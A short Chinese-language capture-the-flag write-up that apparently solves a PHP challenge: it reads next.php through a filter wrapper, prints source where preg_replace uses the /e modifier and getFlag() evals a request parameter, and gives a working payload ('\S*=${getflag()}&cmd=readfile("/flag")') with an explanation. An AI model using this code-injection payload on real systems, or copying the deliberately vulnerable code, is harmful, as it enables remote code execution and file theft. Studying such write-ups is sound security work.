很明显要利用伪协议读next.php
base64解码后查看源码
1 <?php 2 $id = $_GET[‘id‘]; 3 $_SESSION[‘id‘] = $id; 4 5 function complex($re, $str) { 6 return preg_replace( 7 ‘/(‘ . $re . ‘)/ei‘, 8 ‘strtolower("\\1")‘, 9 $str 10 ); 11 } 12 13 14 foreach($_GET as $re => $str) { 15 echo complex($re, $str). "\n"; 16 } 17 18 function getFlag(){ 19 @eval($_GET[‘cmd‘]); 20 }
可以看到。preg_replace函数加了/e。/e 修正符使 preg_replace() 将 replacement 参数(preg_replace 函数的第二个参数)当作 PHP 代码,导致命令执行。本题需要想办法调用getFlag()命令执行获取flag
\1 是一种后向引用,表示表达式中,从左往右数,第一个左括号对应的括号内的内容。
以此类推,\2表示第二个,\0表示整个表达式。在本题中对应着get的参数id。
payload:\S*=${getflag()}&cmd=readfile("/flag");
为什么用"\S*"做变量名 ?
"\S"在正则中表示所有非空白字符,"\S*"相当于匹配所有非空白字符串。这样就能匹配到getFlag(),结合前面的\1,使我们能够控制preg_replace的第二个参数
为什么要用${getflag()}?
因为正则之后getflag()就是字符串,是不会被执行的。不加${}第二参数‘strtolower("\\1")‘等价于‘getflag()‘。被解析成字符串。所以加上${}使getflag()先被执行。
之后再用readfile读flag
可参考:https://www.jb51.net/article/38714.htm
7.0.0版本之后不再支持 /e修饰符。 需要用 preg_replace_callback() 代替。